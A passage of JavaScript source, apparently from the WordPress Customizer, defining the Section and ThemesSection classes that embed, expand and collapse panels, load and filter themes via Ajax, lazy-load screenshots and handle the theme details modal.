					{ id: container.id },
					container.params
				) ).toString().trim();
			}

			return '<li></li>';
		},

		/**
		 * Find content element which is displayed when the section is expanded.
		 *
		 * After a construct is initialized, the return value will be available via the `contentContainer` property.
		 * By default the element will be related it to the parent container with `aria-owns` and detached.
		 * Custom panels and sections (such as the `NewMenuSection`) that do not have a sliding pane should
		 * just return the content element without needing to add the `aria-owns` element or detach it from
		 * the container. Such non-sliding pane custom sections also need to override the `onChangeExpanded`
		 * method to handle animating the panel/section into and out of view.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @return {jQuery} Detached content element.
		 */
		getContent: function() {
			var construct = this,
				container = construct.container,
				content = container.find( '.accordion-section-content, .control-panel-content' ).first(),
				contentId = 'sub-' + container.attr( 'id' ),
				ownedElements = contentId,
				alreadyOwnedElements = container.attr( 'aria-owns' );

			if ( alreadyOwnedElements ) {
				ownedElements = ownedElements + ' ' + alreadyOwnedElements;
			}
			container.attr( 'aria-owns', ownedElements );

			return content.detach().attr( {
				'id': contentId,
				'class': 'customize-pane-child ' + content.attr( 'class' ) + ' ' + container.attr( 'class' )
			} );
		}
	});

	api.Section = Container.extend(/** @lends wp.customize.Section.prototype */{
		containerType: 'section',
		containerParent: '#customize-theme-controls',
		containerPaneParent: '.customize-pane-parent',
		defaults: {
			title: '',
			description: '',
			priority: 100,
			type: 'default',
			content: null,
			active: true,
			instanceNumber: null,
			panel: null,
			customizeAction: ''
		},

		/**
		 * @constructs wp.customize.Section
		 * @augments   wp.customize~Container
		 *
		 * @since 4.1.0
		 *
		 * @param {string}  id - The ID for the section.
		 * @param {Object}  options - Options.
		 * @param {string}  options.title - Title shown when section is collapsed and expanded.
		 * @param {string}  [options.description] - Description shown at the top of the section.
		 * @param {number}  [options.priority=100] - The sort priority for the section.
		 * @param {string}  [options.type=default] - The type of the section. See wp.customize.sectionConstructor.
		 * @param {string}  [options.content] - The markup to be used for the section container. If empty, a JS template is used.
		 * @param {boolean} [options.active=true] - Whether the section is active or not.
		 * @param {string}  options.panel - The ID for the panel this section is associated with.
		 * @param {string}  [options.customizeAction] - Additional context information shown before the section title when expanded.
		 * @param {Object}  [options.params] - Deprecated wrapper for the above properties.
		 */
		initialize: function ( id, options ) {
			var section = this, params;
			params = options.params || options;

			// Look up the type if one was not supplied.
			if ( ! params.type ) {
				_.find( api.sectionConstructor, function( Constructor, type ) {
					if ( Constructor === section.constructor ) {
						params.type = type;
						return true;
					}
					return false;
				} );
			}

			Container.prototype.initialize.call( section, id, params );

			section.id = id;
			section.panel = new api.Value();
			section.panel.bind( function ( id ) {
				$( section.headContainer ).toggleClass( 'control-subsection', !! id );
			});
			section.panel.set( section.params.panel || '' );
			api.utils.bubbleChildValueChanges( section, [ 'panel' ] );

			section.embed();
			section.deferred.embedded.done( function () {
				section.ready();
			});
		},

		/**
		 * Embed the container in the DOM when any parent panel is ready.
		 *
		 * @since 4.1.0
		 */
		embed: function () {
			var inject,
				section = this;

			section.containerParent = api.ensure( section.containerParent );

			// Watch for changes to the panel state.
			inject = function ( panelId ) {
				var parentContainer;
				if ( panelId ) {
					// The panel has been supplied, so wait until the panel object is registered.
					api.panel( panelId, function ( panel ) {
						// The panel has been registered, wait for it to become ready/initialized.
						panel.deferred.embedded.done( function () {
							parentContainer = panel.contentContainer;
							if ( ! section.headContainer.parent().is( parentContainer ) ) {
								parentContainer.append( section.headContainer );
							}
							if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
								section.containerParent.append( section.contentContainer );
							}
							section.deferred.embedded.resolve();
						});
					} );
				} else {
					// There is no panel, so embed the section in the root of the customizer.
					parentContainer = api.ensure( section.containerPaneParent );
					if ( ! section.headContainer.parent().is( parentContainer ) ) {
						parentContainer.append( section.headContainer );
					}
					if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
						section.containerParent.append( section.contentContainer );
					}
					section.deferred.embedded.resolve();
				}
			};
			section.panel.bind( inject );
			inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one.
		},

		/**
		 * Add behaviors for the accordion section.
		 *
		 * @since 4.1.0
		 */
		attachEvents: function () {
			var meta, content, section = this;

			if ( section.container.hasClass( 'cannot-expand' ) ) {
				return;
			}

			// Expand/Collapse accordion sections on click.
			section.container.find( '.accordion-section-title, .customize-section-back' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.

				if ( section.expanded() ) {
					section.collapse();
				} else {
					section.expand();
				}
			});

			// This is very similar to what is found for api.Panel.attachEvents().
			section.container.find( '.customize-section-title .customize-help-toggle' ).on( 'click', function() {

				meta = section.container.find( '.section-meta' );
				if ( meta.hasClass( 'cannot-expand' ) ) {
					return;
				}
				content = meta.find( '.customize-section-description:first' );
				content.toggleClass( 'open' );
				content.slideToggle( section.defaultExpandedArguments.duration, function() {
					content.trigger( 'toggled' );
				} );
				$( this ).attr( 'aria-expanded', function( i, attr ) {
					return 'true' === attr ? 'false' : 'true';
				});
			});
		},

		/**
		 * Return whether this section has any active controls.
		 *
		 * @since 4.1.0
		 *
		 * @return {boolean}
		 */
		isContextuallyActive: function () {
			var section = this,
				controls = section.controls(),
				activeCount = 0;
			_( controls ).each( function ( control ) {
				if ( control.active() ) {
					activeCount += 1;
				}
			} );
			return ( activeCount !== 0 );
		},

		/**
		 * Get the controls that are associated with this section, sorted by their priority Value.
		 *
		 * @since 4.1.0
		 *
		 * @return {Array}
		 */
		controls: function () {
			return this._children( 'section', 'control' );
		},

		/**
		 * Update UI to reflect expanded state.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean} expanded
		 * @param {Object}  args
		 */
		onChangeExpanded: function ( expanded, args ) {
			var section = this,
				container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
				content = section.contentContainer,
				overlay = section.headContainer.closest( '.wp-full-overlay' ),
				backBtn = content.find( '.customize-section-back' ),
				sectionTitle = section.headContainer.find( '.accordion-section-title' ).first(),
				expand, panel;

			if ( expanded && ! content.hasClass( 'open' ) ) {

				if ( args.unchanged ) {
					expand = args.completeCallback;
				} else {
					expand = function() {
						section._animateChangeExpanded( function() {
							sectionTitle.attr( 'tabindex', '-1' );
							backBtn.attr( 'tabindex', '0' );

							backBtn.trigger( 'focus' );
							content.css( 'top', '' );
							container.scrollTop( 0 );

							if ( args.completeCallback ) {
								args.completeCallback();
							}
						} );

						content.addClass( 'open' );
						overlay.addClass( 'section-open' );
						api.state( 'expandedSection' ).set( section );
					}.bind( this );
				}

				if ( ! args.allowMultiple ) {
					api.section.each( function ( otherSection ) {
						if ( otherSection !== section ) {
							otherSection.collapse( { duration: args.duration } );
						}
					});
				}

				if ( section.panel() ) {
					api.panel( section.panel() ).expand({
						duration: args.duration,
						completeCallback: expand
					});
				} else {
					if ( ! args.allowMultiple ) {
						api.panel.each( function( panel ) {
							panel.collapse();
						});
					}
					expand();
				}

			} else if ( ! expanded && content.hasClass( 'open' ) ) {
				if ( section.panel() ) {
					panel = api.panel( section.panel() );
					if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
						panel.collapse();
					}
				}
				section._animateChangeExpanded( function() {
					backBtn.attr( 'tabindex', '-1' );
					sectionTitle.attr( 'tabindex', '0' );

					sectionTitle.trigger( 'focus' );
					content.css( 'top', '' );

					if ( args.completeCallback ) {
						args.completeCallback();
					}
				} );

				content.removeClass( 'open' );
				overlay.removeClass( 'section-open' );
				if ( section === api.state( 'expandedSection' ).get() ) {
					api.state( 'expandedSection' ).set( false );
				}

			} else {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			}
		}
	});

	api.ThemesSection = api.Section.extend(/** @lends wp.customize.ThemesSection.prototype */{
		currentTheme: '',
		overlay: '',
		template: '',
		screenshotQueue: null,
		$window: null,
		$body: null,
		loaded: 0,
		loading: false,
		fullyLoaded: false,
		term: '',
		tags: '',
		nextTerm: '',
		nextTags: '',
		filtersHeight: 0,
		headerContainer: null,
		updateCountDebounced: null,

		/**
		 * wp.customize.ThemesSection
		 *
		 * Custom section for themes that loads themes by category, and also
		 * handles the theme-details view rendering and navigation.
		 *
		 * @constructs wp.customize.ThemesSection
		 * @augments   wp.customize.Section
		 *
		 * @since 4.9.0
		 *
		 * @param {string} id - ID.
		 * @param {Object} options - Options.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var section = this;
			section.headerContainer = $();
			section.$window = $( window );
			section.$body = $( document.body );
			api.Section.prototype.initialize.call( section, id, options );
			section.updateCountDebounced = _.debounce( section.updateCount, 500 );
		},

		/**
		 * Embed the section in the DOM when the themes panel is ready.
		 *
		 * Insert the section before the themes container. Assume that a themes section is within a panel, but not necessarily the themes panel.
		 *
		 * @since 4.9.0
		 */
		embed: function() {
			var inject,
				section = this;

			// Watch for changes to the panel state.
			inject = function( panelId ) {
				var parentContainer;
				api.panel( panelId, function( panel ) {

					// The panel has been registered, wait for it to become ready/initialized.
					panel.deferred.embedded.done( function() {
						parentContainer = panel.contentContainer;
						if ( ! section.headContainer.parent().is( parentContainer ) ) {
							parentContainer.find( '.customize-themes-full-container-container' ).before( section.headContainer );
						}
						if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
							section.containerParent.append( section.contentContainer );
						}
						section.deferred.embedded.resolve();
					});
				} );
			};
			section.panel.bind( inject );
			inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one.
		},

		/**
		 * Set up.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		ready: function() {
			var section = this;
			section.overlay = section.container.find( '.theme-overlay' );
			section.template = wp.template( 'customize-themes-details-view' );

			// Bind global keyboard events.
			section.container.on( 'keydown', function( event ) {
				if ( ! section.overlay.find( '.theme-wrap' ).is( ':visible' ) ) {
					return;
				}

				// Pressing the right arrow key fires a theme:next event.
				if ( 39 === event.keyCode ) {
					section.nextTheme();
				}

				// Pressing the left arrow key fires a theme:previous event.
				if ( 37 === event.keyCode ) {
					section.previousTheme();
				}

				// Pressing the escape key fires a theme:collapse event.
				if ( 27 === event.keyCode ) {
					if ( section.$body.hasClass( 'modal-open' ) ) {

						// Escape from the details modal.
						section.closeDetails();
					} else {

						// Escape from the inifinite scroll list.
						section.headerContainer.find( '.customize-themes-section-title' ).focus();
					}
					event.stopPropagation(); // Prevent section from being collapsed.
				}
			});

			section.renderScreenshots = _.throttle( section.renderScreenshots, 100 );

			_.bindAll( section, 'renderScreenshots', 'loadMore', 'checkTerm', 'filtersChecked' );
		},

		/**
		 * Override Section.isContextuallyActive method.
		 *
		 * Ignore the active states' of the contained theme controls, and just
		 * use the section's own active state instead. This prevents empty search
		 * results for theme sections from causing the section to become inactive.
		 *
		 * @since 4.2.0
		 *
		 * @return {boolean}
		 */
		isContextuallyActive: function () {
			return this.active();
		},

		/**
		 * Attach events.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		attachEvents: function () {
			var section = this, debounced;

			// Expand/Collapse accordion sections on click.
			section.container.find( '.customize-section-back' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.
				section.collapse();
			});

			section.headerContainer = $( '#accordion-section-' + section.id );

			// Expand section/panel. Only collapse when opening another section.
			section.headerContainer.on( 'click', '.customize-themes-section-title', function() {

				// Toggle accordion filters under section headers.
				if ( section.headerContainer.find( '.filter-details' ).length ) {
					section.headerContainer.find( '.customize-themes-section-title' )
						.toggleClass( 'details-open' )
						.attr( 'aria-expanded', function( i, attr ) {
							return 'true' === attr ? 'false' : 'true';
						});
					section.headerContainer.find( '.filter-details' ).slideToggle( 180 );
				}

				// Open the section.
				if ( ! section.expanded() ) {
					section.expand();
				}
			});

			// Preview installed themes.
			section.container.on( 'click', '.theme-actions .preview-theme', function() {
				api.panel( 'themes' ).loadThemePreview( $( this ).data( 'slug' ) );
			});

			// Theme navigation in details view.
			section.container.on( 'click', '.left', function() {
				section.previousTheme();
			});

			section.container.on( 'click', '.right', function() {
				section.nextTheme();
			});

			section.container.on( 'click', '.theme-backdrop, .close', function() {
				section.closeDetails();
			});

			if ( 'local' === section.params.filter_type ) {

				// Filter-search all theme objects loaded in the section.
				section.container.on( 'input', '.wp-filter-search-themes', function( event ) {
					section.filterSearch( event.currentTarget.value );
				});

			} else if ( 'remote' === section.params.filter_type ) {

				// Event listeners for remote queries with user-entered terms.
				// Search terms.
				debounced = _.debounce( section.checkTerm, 500 ); // Wait until there is no input for 500 milliseconds to initiate a search.
				section.contentContainer.on( 'input', '.wp-filter-search', function() {
					if ( ! api.panel( 'themes' ).expanded() ) {
						return;
					}
					debounced( section );
					if ( ! section.expanded() ) {
						section.expand();
					}
				});

				// Feature filters.
				section.contentContainer.on( 'click', '.filter-group input', function() {
					section.filtersChecked();
					section.checkTerm( section );
				});
			}

			// Toggle feature filters.
			section.contentContainer.on( 'click', '.feature-filter-toggle', function( e ) {
				var $themeContainer = $( '.customize-themes-full-container' ),
					$filterToggle = $( e.currentTarget );
				section.filtersHeight = $filterToggle.parent().next( '.filter-drawer' ).height();

				if ( 0 < $themeContainer.scrollTop() ) {
					$themeContainer.animate( { scrollTop: 0 }, 400 );

					if ( $filterToggle.hasClass( 'open' ) ) {
						return;
					}
				}

				$filterToggle
					.toggleClass( 'open' )
					.attr( 'aria-expanded', function( i, attr ) {
						return 'true' === attr ? 'false' : 'true';
					})
					.parent().next( '.filter-drawer' ).slideToggle( 180, 'linear' );

				if ( $filterToggle.hasClass( 'open' ) ) {
					var marginOffset = 1018 < window.innerWidth ? 50 : 76;

					section.contentContainer.find( '.themes' ).css( 'margin-top', section.filtersHeight + marginOffset );
				} else {
					section.contentContainer.find( '.themes' ).css( 'margin-top', 0 );
				}
			});

			// Setup section cross-linking.
			section.contentContainer.on( 'click', '.no-themes-local .search-dotorg-themes', function() {
				api.section( 'wporg_themes' ).focus();
			});

			function updateSelectedState() {
				var el = section.headerContainer.find( '.customize-themes-section-title' );
				el.toggleClass( 'selected', section.expanded() );
				el.attr( 'aria-expanded', section.expanded() ? 'true' : 'false' );
				if ( ! section.expanded() ) {
					el.removeClass( 'details-open' );
				}
			}
			section.expanded.bind( updateSelectedState );
			updateSelectedState();

			// Move section controls to the themes area.
			api.bind( 'ready', function () {
				section.contentContainer = section.container.find( '.customize-themes-section' );
				section.contentContainer.appendTo( $( '.customize-themes-full-container' ) );
				section.container.add( section.headerContainer );
			});
		},

		/**
		 * Update UI to reflect expanded state
		 *
		 * @since 4.2.0
		 *
		 * @param {boolean}  expanded
		 * @param {Object}   args
		 * @param {boolean}  args.unchanged
		 * @param {Function} args.completeCallback
		 * @return {void}
		 */
		onChangeExpanded: function ( expanded, args ) {

			// Note: there is a second argument 'args' passed.
			var section = this,
				container = section.contentContainer.closest( '.customize-themes-full-container' );

			// Immediately call the complete callback if there were no changes.
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			function expand() {

				// Try to load controls if none are loaded yet.
				if ( 0 === section.loaded ) {
					section.loadThemes();
				}

				// Collapse any sibling sections/panels.
				api.section.each( function ( otherSection ) {
					var searchTerm;

					if ( otherSection !== section ) {

						// Try to sync the current search term to the new section.
						if ( 'themes' === otherSection.params.type ) {
							searchTerm = otherSection.contentContainer.find( '.wp-filter-search' ).val();
							section.contentContainer.find( '.wp-filter-search' ).val( searchTerm );

							// Directly initialize an empty remote search to avoid a race condition.
							if ( '' === searchTerm && '' !== section.term && 'local' !== section.params.filter_type ) {
								section.term = '';
								section.initializeNewQuery( section.term, section.tags );
							} else {
								if ( 'remote' === section.params.filter_type ) {
									section.checkTerm( section );
								} else if ( 'local' === section.params.filter_type ) {
									section.filterSearch( searchTerm );
								}
							}
							otherSection.collapse( { duration: args.duration } );
						}
					}
				});

				section.contentContainer.addClass( 'current-section' );
				container.scrollTop();

				container.on( 'scroll', _.throttle( section.renderScreenshots, 300 ) );
				container.on( 'scroll', _.throttle( section.loadMore, 300 ) );

				if ( args.completeCallback ) {
					args.completeCallback();
				}
				section.updateCount(); // Show this section's count.
			}

			if ( expanded ) {
				if ( section.panel() && api.panel.has( section.panel() ) ) {
					api.panel( section.panel() ).expand({
						duration: args.duration,
						completeCallback: expand
					});
				} else {
					expand();
				}
			} else {
				section.contentContainer.removeClass( 'current-section' );

				// Always hide, even if they don't exist or are already hidden.
				section.headerContainer.find( '.filter-details' ).slideUp( 180 );

				container.off( 'scroll' );

				if ( args.completeCallback ) {
					args.completeCallback();
				}
			}
		},

		/**
		 * Return the section's content element without detaching from the parent.
		 *
		 * @since 4.9.0
		 *
		 * @return {jQuery}
		 */
		getContent: function() {
			return this.container.find( '.control-section-content' );
		},

		/**
		 * Load theme data via Ajax and add themes to the section as controls.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		loadThemes: function() {
			var section = this, params, page, request;

			if ( section.loading ) {
				return; // We're already loading a batch of themes.
			}

			// Parameters for every API query. Additional params are set in PHP.
			page = Math.ceil( section.loaded / 100 ) + 1;
			params = {
				'nonce': api.settings.nonce.switch_themes,
				'wp_customize': 'on',
				'theme_action': section.params.action,
				'customized_theme': api.settings.theme.stylesheet,
				'page': page
			};

			// Add fields for remote filtering.
			if ( 'remote' === section.params.filter_type ) {
				params.search = section.term;
				params.tags = section.tags;
			}

			// Load themes.
			section.headContainer.closest( '.wp-full-overlay' ).addClass( 'loading' );
			section.loading = true;
			section.container.find( '.no-themes' ).hide();
			request = wp.ajax.post( 'customize_load_themes', params );
			request.done(function( data ) {
				var themes = data.themes;

				// Stop and try again if the term changed while loading.
				if ( '' !== section.nextTerm || '' !== section.nextTags ) {
					if ( section.nextTerm ) {
						section.term = section.nextTerm;
					}
					if ( section.nextTags ) {
						section.tags = section.nextTags;
					}
					section.nextTerm = '';
					section.nextTags = '';
					section.loading = false;
					section.loadThemes();
					return;
				}

				if ( 0 !== themes.length ) {

					section.loadControls( themes, page );

					if ( 1 === page ) {

						// Pre-load the first 3 theme screenshots.
						_.each( section.controls().slice( 0, 3 ), function( control ) {
							var img, src = control.params.theme.screenshot[0];
							if ( src ) {
								img = new Image();
								img.src = src;
							}
						});
						if ( 'local' !== section.params.filter_type ) {
							wp.a11y.speak( api.settings.l10n.themeSearchResults.replace( '%d', data.info.results ) );
						}
					}

					_.delay( section.renderScreenshots, 100 ); // Wait for the controls to become visible.

					if ( 'local' === section.params.filter_type || 100 > themes.length ) {
						// If we have less than the requested 100 themes, it's the end of the list.
						section.fullyLoaded = true;
					}
				} else {
					if ( 0 === section.loaded ) {
						section.container.find( '.no-themes' ).show();
						wp.a11y.speak( section.container.find( '.no-themes' ).text() );
					} else {
						section.fullyLoaded = true;
					}
				}
				if ( 'local' === section.params.filter_type ) {
					section.updateCount(); // Count of visible theme controls.
				} else {
					section.updateCount( data.info.results ); // Total number of results including pages not yet loaded.
				}
				section.container.find( '.unexpected-error' ).hide(); // Hide error notice in case it was previously shown.

				// This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
				section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
				section.loading = false;
			});
			request.fail(function( data ) {
				if ( 'undefined' === typeof data ) {
					section.container.find( '.unexpected-error' ).show();
					wp.a11y.speak( section.container.find( '.unexpected-error' ).text() );
				} else if ( 'undefined' !== typeof console && console.error ) {
					console.error( data );
				}

				// This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
				section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
				section.loading = false;
			});
		},

		/**
		 * Loads controls into the section from data received from loadThemes().
		 *
		 * @since 4.9.0
		 * @param {Array}  themes - Array of theme data to create controls with.
		 * @param {number} page   - Page of results being loaded.
		 * @return {void}
		 */
		loadControls: function( themes, page ) {
			var newThemeControls = [],
				section = this;

			// Add controls for each theme.
			_.each( themes, function( theme ) {
				var themeControl = new api.controlConstructor.theme( section.params.action + '_theme_' + theme.id, {
					type: 'theme',
					section: section.params.id,
					theme: theme,
					priority: section.loaded + 1
				} );

				api.control.add( themeControl );
				newThemeControls.push( themeControl );
				section.loaded = section.loaded + 1;
			});

			if ( 1 !== page ) {
				Array.prototype.push.apply( section.screenshotQueue, newThemeControls ); // Add new themes to the screenshot queue.
			}
		},

		/**
		 * Determines whether more themes should be loaded, and loads them.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		loadMore: function() {
			var section = this, container, bottom, threshold;
			if ( ! section.fullyLoaded && ! section.loading ) {
				container = section.container.closest( '.customize-themes-full-container' );

				bottom = container.scrollTop() + container.height();
				// Use a fixed distance to the bottom of loaded results to avoid unnecessarily
				// loading results sooner when using a percentage of scroll distance.
				threshold = container.prop( 'scrollHeight' ) - 3000;

				if ( bottom > threshold ) {
					section.loadThemes();
				}
			}
		},

		/**
		 * Event handler for search input that filters visible controls.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} term - The raw search input value.
		 * @return {void}
		 */
		filterSearch: function( term ) {
			var count = 0,
				visible = false,
				section = this,
				noFilter = ( api.section.has( 'wporg_themes' ) && 'remote' !== section.params.filter_type ) ? '.no-themes-local' : '.no-themes',
				controls = section.controls(),
				terms;

			if ( section.loading ) {
				return;
			}

			// Standardize search term format and split into an array of individual words.
			terms = term.toLowerCase().trim().replace( /-/g, ' ' ).split( ' ' );

			_.each( controls, function( control ) {
				visible = control.filter( terms ); // Shows/hides and sorts control based on the applicability of the search term.
				if ( visible ) {
					count = count + 1;
				}
			});

			if ( 0 === count ) {
				section.container.find( noFilter ).show();
				wp.a11y.speak( section.container.find( noFilter ).text() );
			} else {
				section.container.find( noFilter ).hide();
			}

			section.renderScreenshots();
			api.reflowPaneContents();

			// Update theme count.
			section.updateCountDebounced( count );
		},

		/**
		 * Event handler for search input that determines if the terms have changed and loads new controls as needed.
		 *
		 * @since 4.9.0
		 *
		 * @param {wp.customize.ThemesSection} section - The current theme section, passed through the debouncer.
		 * @return {void}
		 */
		checkTerm: function( section ) {
			var newTerm;
			if ( 'remote' === section.params.filter_type ) {
				newTerm = section.contentContainer.find( '.wp-filter-search' ).val();
				if ( section.term !== newTerm.trim() ) {
					section.initializeNewQuery( newTerm, section.tags );
				}
			}
		},

		/**
		 * Check for filters checked in the feature filter list and initialize a new query.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		filtersChecked: function() {
			var section = this,
			    items = section.container.find( '.filter-group' ).find( ':checkbox' ),
			    tags = [];

			_.each( items.filter( ':checked' ), function( item ) {
				tags.push( $( item ).prop( 'value' ) );
			});

			// When no filters are checked, restore initial state. Update filter count.
			if ( 0 === tags.length ) {
				tags = '';
				section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).show();
				section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).hide();
			} else {
				section.contentContainer.find( '.feature-filter-toggle .theme-filter-count' ).text( tags.length );
				section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).hide();
				section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).show();
			}

			// Check whether tags have changed, and either load or queue them.
			if ( ! _.isEqual( section.tags, tags ) ) {
				if ( section.loading ) {
					section.nextTags = tags;
				} else {
					if ( 'remote' === section.params.filter_type ) {
						section.initializeNewQuery( section.term, tags );
					} else if ( 'local' === section.params.filter_type ) {
						section.filterSearch( tags.join( ' ' ) );
					}
				}
			}
		},

		/**
		 * Reset the current query and load new results.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} newTerm - New term.
		 * @param {Array} newTags - New tags.
		 * @return {void}
		 */
		initializeNewQuery: function( newTerm, newTags ) {
			var section = this;

			// Clear the controls in the section.
			_.each( section.controls(), function( control ) {
				control.container.remove();
				api.control.remove( control.id );
			});
			section.loaded = 0;
			section.fullyLoaded = false;
			section.screenshotQueue = null;

			// Run a new query, with loadThemes handling paging, etc.
			if ( ! section.loading ) {
				section.term = newTerm;
				section.tags = newTags;
				section.loadThemes();
			} else {
				section.nextTerm = newTerm; // This will reload from loadThemes() with the newest term once the current batch is loaded.
				section.nextTags = newTags; // This will reload from loadThemes() with the newest tags once the current batch is loaded.
			}
			if ( ! section.expanded() ) {
				section.expand(); // Expand the section if it isn't expanded.
			}
		},

		/**
		 * Render control's screenshot if the control comes into view.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		renderScreenshots: function() {
			var section = this;

			// Fill queue initially, or check for more if empty.
			if ( null === section.screenshotQueue || 0 === section.screenshotQueue.length ) {

				// Add controls that haven't had their screenshots rendered.
				section.screenshotQueue = _.filter( section.controls(), function( control ) {
					return ! control.screenshotRendered;
				});
			}

			// Are all screenshots rendered (for now)?
			if ( ! section.screenshotQueue.length ) {
				return;
			}

			section.screenshotQueue = _.filter( section.screenshotQueue, function( control ) {
				var $imageWrapper = control.container.find( '.theme-screenshot' ),
					$image = $imageWrapper.find( 'img' );

				if ( ! $image.length ) {
					return false;
				}

				if ( $image.is( ':hidden' ) ) {
					return true;
				}

				// Based on unveil.js.
				var wt = section.$window.scrollTop(),
					wb = wt + section.$window.height(),
					et = $image.offset().top,
					ih = $imageWrapper.height(),
					eb = et + ih,
					threshold = ih * 3,
					inView = eb >= wt - threshold && et <= wb + threshold;

				if ( inView ) {
					control.container.trigger( 'render-screenshot' );
				}

				// If the image is in view return false so it's cleared from the queue.
				return ! inView;
			} );
		},

		/**
		 * Get visible count.
		 *
		 * @since 4.9.0
		 *
		 * @return {number} Visible count.
		 */
		getVisibleCount: function() {
			return this.contentContainer.find( 'li.customize-control:visible' ).length;
		},

		/**
		 * Update the number of themes in the section.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		updateCount: function( count ) {
			var section = this, countEl, displayed;

			if ( ! count && 0 !== count ) {
				count = section.getVisibleCount();
			}

			displayed = section.contentContainer.find( '.themes-displayed' );
			countEl = section.contentContainer.find( '.theme-count' );

			if ( 0 === count ) {
				countEl.text( '0' );
			} else {

				// Animate the count change for emphasis.
				displayed.fadeOut( 180, function() {
					countEl.text( count );
					displayed.fadeIn( 180 );
				} );
				wp.a11y.speak( api.settings.l10n.announceThemeCount.replace( '%d', count ) );
			}
		},

		/**
		 * Advance the modal to the next theme.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		nextTheme: function () {
			var section = this;
			if ( section.getNextTheme() ) {
				section.showDetails( section.getNextTheme(), function() {
					section.overlay.find( '.right' ).focus();
				} );
			}
		},

		/**
		 * Get the next theme model.
		 *
		 * @since 4.2.0
		 *
		 * @return {wp.customize.ThemeControl|boolean} Next theme.
		 */
		getNextTheme: function () {
			var section = this, control, nextControl, sectionControls, i;
			control = api.control( section.params.action + '_theme_' + section.currentTheme );
			sectionControls = section.controls();
			i = _.indexOf( sectionControls, control );
			if ( -1 === i ) {
				return false;
			}

			nextControl = sectionControls[ i + 1 ];
			if ( ! nextControl ) {
				return false;
			}
			return nextControl.params.theme;
		},

		/**
		 * Advance the modal to the previous theme.
		 *
		 * @since 4.2.0
		 * @return {void}
		 */
		previousTheme: function () {
			var section = this;
			if ( section.getPreviousTheme() ) {
				section.showDetails( section.getPreviousTheme(), function() {
					section.overlay.find( '.left' ).focus();
				} );
			}
		},

		/**
		 * Get the previous theme model.
		 *
		 * @since 4.2.0
		 * @return {wp.customize.ThemeControl|boolean} Previous theme.
		 */
		getPreviousTheme: function () {
			var section = this, control, nextControl, sectionControls, i;
			control = api.control( section.params.action + '_theme_' + section.currentTheme );
			sectionControls = section.controls();
			i = _.indexOf( sectionControls, control );
			if ( -1 === i ) {
				return false;
			}

			nextControl = sectionControls[ i - 1 ];
			if ( ! nextControl ) {
				return false;
			}
			return nextControl.params.theme;
		},

		/**
		 * Disable buttons when we're viewing the first or last theme.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		updateLimits: function () {
			if ( ! this.getNextTheme() ) {
				this.overlay.find( '.right' ).addClass( 'disabled' );
			}
			if ( ! this.getPreviousTheme() ) {
				this.overlay.find( '.left' ).addClass( 'disabled' );
			}
		},

		/**
		 * Load theme preview.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @deprecated
		 * @param {string} themeId Theme ID.
		 * @return {jQuery.promise} Promise.
		 */
		loadThemePreview: function( themeId ) {
			return api.ThemesPanel.prototype.loadThemePreview.call( this, themeId );
		},

		/**
		 * Render & show the theme details for a given theme model.
		 *
		 * @since 4.2.0
		 *
		 * @param {Object} theme - Theme.
		 * @param {Function} [callback] - Callback once the details have been shown.
		 * @return {void}
		 */
		showDetails: function ( theme, callback ) {
			var section = this, panel = api.panel( 'themes' );
			section.currentTheme = theme.id;
			section.overlay.html( section.template( theme ) )
				.fadeIn( 'fast' )
				.focus();

			function disableSwitchButtons() {
				return ! panel.canSwitchTheme( theme.id );
			}

			// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
			function disableInstallButtons() {
				return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
			}

			section.overlay.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
			section.overlay.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );

			section.$body.addClass( 'modal-open' );
			section.containFocus( section.overlay );
			section.updateLimits();
			wp.a11y.speak( api.settings.l10n.announceThemeDetails.replace( '%s', theme.name ) );
			if ( callback ) {
				callback();
			}
		},

		/**
		 * Close the theme details modal.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		closeDetails: function () {
			var section = this;
			section.$body.removeClass( 'modal-open' );
			section.overlay.fadeOut( 'fast' );
			api.control( section.params.action + '_theme_' + section.currentTheme ).container.find( '.theme' ).focus();
		},

		/**
		 * Keep tab focus within the theme details modal.
		 *
		 * @since 4.2.0
		 *
